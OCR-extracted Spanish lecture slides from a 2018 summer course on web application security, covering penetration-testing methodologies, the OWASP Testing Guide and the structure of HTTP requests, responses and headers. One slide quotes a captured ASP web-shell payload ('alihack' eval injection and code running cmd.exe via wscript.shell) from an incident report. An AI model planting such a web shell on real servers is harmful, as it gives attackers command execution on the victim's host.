Una investigacién de rutina por un
faltante de contabilidad de 75 centavos
por el uso de tiempo de maquina en el
Lawrence Berkeley National Laboratory,
desarrollada por el fisico Clifford
Stoll, mientras se desempefiaba como
administrador de sistemas, concluyé con
el descubrimiento de extensas brechas de
seguridad en Internet.
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Gusano Morris

El gusano Morris fue el primer malware
autorreplicable que afecté a Internet.

El 2 de noviembre de 1988,
aproximadamente 6000 de los 60
000 servidores conectados a la red fueron
infectados por este gusano informatico,
lo que motivé que se creara el Equipo de
Respuesta ante Emergencias Informaticas
en respuesta a las necesidades expuestas
durante el incidente.

*RED NODES INDICATE NEW INFECTIONS
~BLUE NODES INDICATE MAJOR PROCEDURES

BASIC MAP OF
THE MORRIS
WORM

(NEW HOST)

(NEW HOST)
(NEW HOST)

OTHER_SLEEP

MAIN

PRIMARY
LOOP

INFECT

INITIALIZE

GRACKSOME OTHER_SLEEP

(NEW HOST)
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Principales Metodologias de Pruebas de Penetracién

@ (2006) ISSAF-PTF: Information System Security ~Assessment
Framework Penetration Test Framework.

@ (2008) NIST SP 800-115: Technical Guide to Information Security
Testing and Assessment.

@ (2010) OSSTMM 3: Open Source Security Testing Methodology
Manual.

@ (2012) PTES: Penetration Testing Execution Standard.
@ (2014) OWASP Testing Guide 4 (Aplicaciones Web)
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Metodologias de Pruebas de Penetracién

Caracteristicas de las Pruebas de Penetracion

Existe un limite hasta donde puede llegar el especialista de seguridad.

El atacante no tiene limites
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Temporalidad

Caracteristicas de las Pruebas de Penetracion

Refleja el estado de la Aplicacién Web y la infraestructura en produccién en
un instante de tiempo dado.
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Procesos administrativos

Caracteristicas de las Pruebas de Penetracion

No se analizan los procesos administrativos relacionados con la
Aplicacién Web.
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La Prueba de Penetracidn es realizar un escaneo de
vulnerabilidades
Mito
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Comparacién
Pruebas de Penetracién vs Escaneo de Vulnerabilidades

Prueba de Penetracion: Analizar si las vulnerabilidades detectadas son
reales y si pueden comprometer la seguridad de la infraestructura de datos.

Rﬂﬁggﬁggg" Escaneo de Vulnerabilidades: Deteccion horizontal de
aplicarpara  POsibles vulnerabilidades.
prevenir los
ataques
Reporte generador por la Debe hacerse con una
Una vez al herramienta. frecuencia de dos a tres meses
ano

2 de julio de 2018 78 / 116

Escuela Internacional de Verano 2018

MSc. Henry Raul Gonzalez Brito (UCI)



Desventajas

@ Una Prueba de Penetracion, ejecutado sin una
metodologia apropiada puede dar una falsa
sensacién de seguridad al no detectar todos los
problemas.

@ Las herramientas pueden provocar dafios al
sistema si no son aplicadas por expertos.

@ La solucién de los problemas toma tiempo, si
los especialistas no son éticos, la informacién
del problema puede llegar a manos de posibles
atacantes.
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Herramientas

@ Distribuciones de Linux (Kali Linux,
Parrot OS)

@ Herramientas de Pago, Community
Edicion, Software Libre, Open Sources.

o Generales y especificas.

@ Multiplataformas o para una sola
plataforma.

@ Para hacer escaneos automaticos de
vulnerabilidades.
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Open Web Application Security Project

@ OWASP es un proyecto de cédigo abierto dedicado a determinar y
combatir las causas que hacen que el software sea inseguro.

@ La Fundacion OWASP es un organismo sin animo de lucro que apoya
y gestiona los proyectos e infraestructura de OWASP.

UWASP

Open Web Application
Security Project
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Distribucién Geografica de los Capitulos

Open Web Application Security Project
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Guia de Pruebas de OWASP

La Guia de Pruebas de OWASP (OWASP Testing Guide) versién 4, fue
publicada en el afio 2014. Es un esfuerzo del Proyecto Abierto de Seguridad
de Aplicaciones Web (OWASP) por recopilar y estructurar todas las posibles
pruebas de seguridad enfocadas en las aplicaciones web.

@ 2003-2005: Creacién de las bases de la Guia de Pruebas de OWASP
@ 2007: Guia de Pruebas de OWASP v2
@ 2008: Guia de Pruebas de OWASP v3
@ 2014: Guia de Pruebas de OWASP v4
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Grupo de Pruebas de Seguridad de la OTG

F2.Configuration o
F1.Information and Deploy Mo dentity F4.Authentication
Gathering Management Te sgtin Testing
Testing 9
|
|
o F6.Session PN
F5.Authorization F7.Input Validation .
Testing Ma?:gt?rr‘\;ent —] Testing —— [F8.Error Handling
[
F10.Business F11.Client Side
Fi.Cryptograplry Logic Testing | Testing
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Relacién con el ciclo de vida del software

Before Review SOLC |

Development Process
Metrics
v Criteria
Measurement
Traceability
| Standards
Policy Review || Review
Requirements || Designand || Create/ Create /
Definition Review Architecture || Review UML || Review Threat
and Design Review models Models
|| Code Unit and
- Develcpment | CodeReview || erghs || System tests
Penetration
Deployment s | | p—
Testing lo Penetration | Seon®ra%n || yngang || Acceptance
eployment | Management
| Testing | Reviews System tests Tests
L S e
| Operational
Maintenance Chance || on Checks || Management || Regression
verification || = Tests
R FIEl) R Ies) S L) SRl "
Henry Rail Gonzalez Brito (UCI) Escuela Internacional de Verano 2018 2 de julio de 2018 85 /1




Protocolo HTTP




Esquema Basico — Transaccion HTTP

Peticion HTTP

Agente de usuario Aplicacion web

Respuesta HTTP

Navegadores web (Firefox, Wi d;\pacheDZ, Ng:”j' .
Chrome, Edge), cURL, ordPress, Drupal, Joomla,

IIS, PHP, Perl, Ruby,
ASP.Net, MySQL,
PostgreSQL, MSSQL server,
Web-service, XML-RPC,
REST, etc.

wget, bot, apk Android,
Windows Mobil, etc.
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Estructura de una Peticién HTTP

Linea Inicial: Peticion: Método/URL /Version HTTP

POST http://192.168.103.100/WackoPicko/users/login.php HTTP/1.1

Campos de encabezado del mensaje

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Referer: http://192.168.103.100/WackoPicko/users/login.php

Cookie: PHPSESSID=18inpggv69bedrdutv9viul4n6,; acgroupswithpersist=nada
Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

Host: 192.168.103.100

Cuerpo del mensaje (Opcional)

username=henryraul&password=henryraul
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Estructura de una Respuesta HTTP

Linea Inicial: Versién del Protocolo/ Cédigo de Respuesta /

Descripcién Cédigo de Respuesta
HTTP/1.1 200 OK

Campos de encabezado del mensaje

Date: Thu, 14 Aug 2008 14:52:58 GMT

Server: Apache/2.2.2 (Fedora)

X-Powered-By: PHP/5.1.6

Content-language: en

Cache-Control: private, must-revalidate, max-age=0
X-Content-Encoding: gzip

Content-length: 4090

Connection: close

Content-Type: text/html; charset=UTF-8

Cuerpo del mensaje (Opcional)

... HTML data ...
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Principales Métodos HTTP

Métodos Cuerpo  de | Cuerpo  de | Modificacién
HTTP Peticion respuesta de recursos
GET No Si No

HEAD No No No

POST Si Si Si

PUT Si Si Si

DELETE No Si Si
CONNECT Si Si Si
OPTIONS Optional Si No

TRACE No Si No
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Otros reportes similares en Internet

alihack<%eval request("alihack.com")

[CEELM despo opened this issue on 4 Sep 2014 - 4 comments

. despo commented on 4 Sep 2014

From bugsnap

HTTP_X_FORWARDED_FOR 91.200.12.23
ORIGINAL_FULLPATH /ali.txt
RAW_POST_DATA alihack <%eval request("alihack.com”)%>

GIFB9alavealihack<%eval request|”alihack.com")%>

<%0n Error Resume Next

Response. write CreateObject("wscript.shell").exeq"cmd.exe /c whoami”). StdOut. ReadAll% >
<%Set Fso=server.creafeobject|"scr & ipt"&"ing"&". "&"fil "&"esy"& "ste"& "mob & "jec’&"t")
sPath=replace(Server.MapPath("|")."/", "|")

Function CheckDirlsOKWrite{DirStr)
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Cédigo de Respuesta

El c6digo de respuesta o retorno es un nimero que indica que ha pasado con
la peticién.
@ 1xx: Respuestas informativas.
2xx: Respuestas correctas.
3xx: Respuestas de redireccion.
4xx: Errores causados por el cliente.
5xx: Errores causados por el servidor.

404
ERROR
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Campos de Encabezado

Son los metadatos que se envian en las peticiones o respuesta HTTP para
proporcionar informacién esencial sobre la transaccién en curso.

Cada campo de encabezado se especifica con un nombre seguido por dos

puntos, un espacio en blanco y el valor de dicha campo seguida por un
retorno de carro seguido por un salto de linea.

Se usa una linea en blanco para indicar el final de los campos de encabezado.

MSc. Henry Raul Gonzalez Brito (UCI)
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Utilizaciéon de los Campos de Encabezado

@ Indicar las capacidades aceptadas
por el que envia el mensaje

Describir el contenido
Referenciar a URIs
Ahorrar transmisiones
Controlar cookies

Autenticacién

m
it

Describir la comunicacion o
Seguridad

Firma digital

Otras
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Referer

El campo de encabezado de peticion HTTP/1.1 Referer contiene la
URI del recurso desde el cual se realizé el vinculo al recurso solicitado.
Esta informacién es enviada por el agente de usuario (user-agent) que
normalmente es el navegador web pero pudiera ser también programas como
cURL o wget, entre otros.

Referer: http://192.168.103.100/panel/users/login.php
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Cookie y Set-Cookie

Set-Cookie: Se establece una nueva cookie por el servidor. Ejemplo:

Set-Cookie: PHPSESSID=fgb3v14rnjhcc5nej7s4303hm4; path=/; secure
Cookie: Contiene la cookie previamente establecida con Set-Cookie.
Ejemplo:

Cookie: PHPSESSID=18inpggv69be4rdutviviul4né;
acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
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Basic Authentication

La Autenticacion Basica (Basic  Authentication, Basic  Access
Authentication) se incluyé en la especificacion de HTTP/1.1 con el
objetivo de proveer un mecanismo simple de autenticacién que pudiera
servir por defecto a los desarrolladores ante la ausencia de un esquema mas
elaborado de autenticacién.

WWW-Authenticate: Basic realm="Mensaje"
Authorization: Basic username:password

Sh X
RS \EY B e & adl /
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X-Frame-Options

El campo de encabezado X-frame-Options dificulta la ejecucién de ataques
de clickjacking.

X-Frame-Options: (DENY, SAMEORIGIN, ALLOW-FROM URI)

Fake input controls positioned
under the hijacked web controls

=
User provides username and password.
All these clicks are hijacked by the invisible frame.
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Conclusiones




Conclusiones

Se definié el concepto de seguridad informatica en aplicaciones web

Se caracterizaron los diferentes componentes de una aplicacién web.

Se definié el concepto de Prueba de Penetracién y sus relaciones con la
actividad automatizadas de deteccién de vulnerabilidades y las Pruebas
de Penetracién

Se describieron los principales componentes del protocolo HTTP/1.1

e le o [o] e [81%]
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